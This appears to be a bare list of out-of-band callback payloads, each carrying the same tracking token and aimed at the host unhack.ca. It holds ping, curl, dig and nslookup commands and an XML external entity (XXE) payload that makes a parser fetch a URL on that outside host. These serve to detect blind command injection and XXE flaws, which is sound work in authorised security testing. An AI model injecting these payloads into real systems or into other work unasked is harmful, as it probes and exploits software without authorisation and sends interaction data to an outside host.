$ ping -c1 -p 0062adecfc62415797601937b1606e00 unhack.ca
$ curl http://unhack.ca/p/62adecfc62415797601937b1606e
$ dig 62adecfc62415797601937b1606e @unhack.ca
$ dig 62adecfc62415797601937b1606e.ns.unhack.ca
C:\> nslookup 62adecfc62415797601937b1606e unhack.ca
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [<!ELEMENT foo ANY> <!ENTITY xxe SYSTEM "http://unhack.ca/p/62adecfc62415797601937b1606e">]> <foo>&xxe;</foo>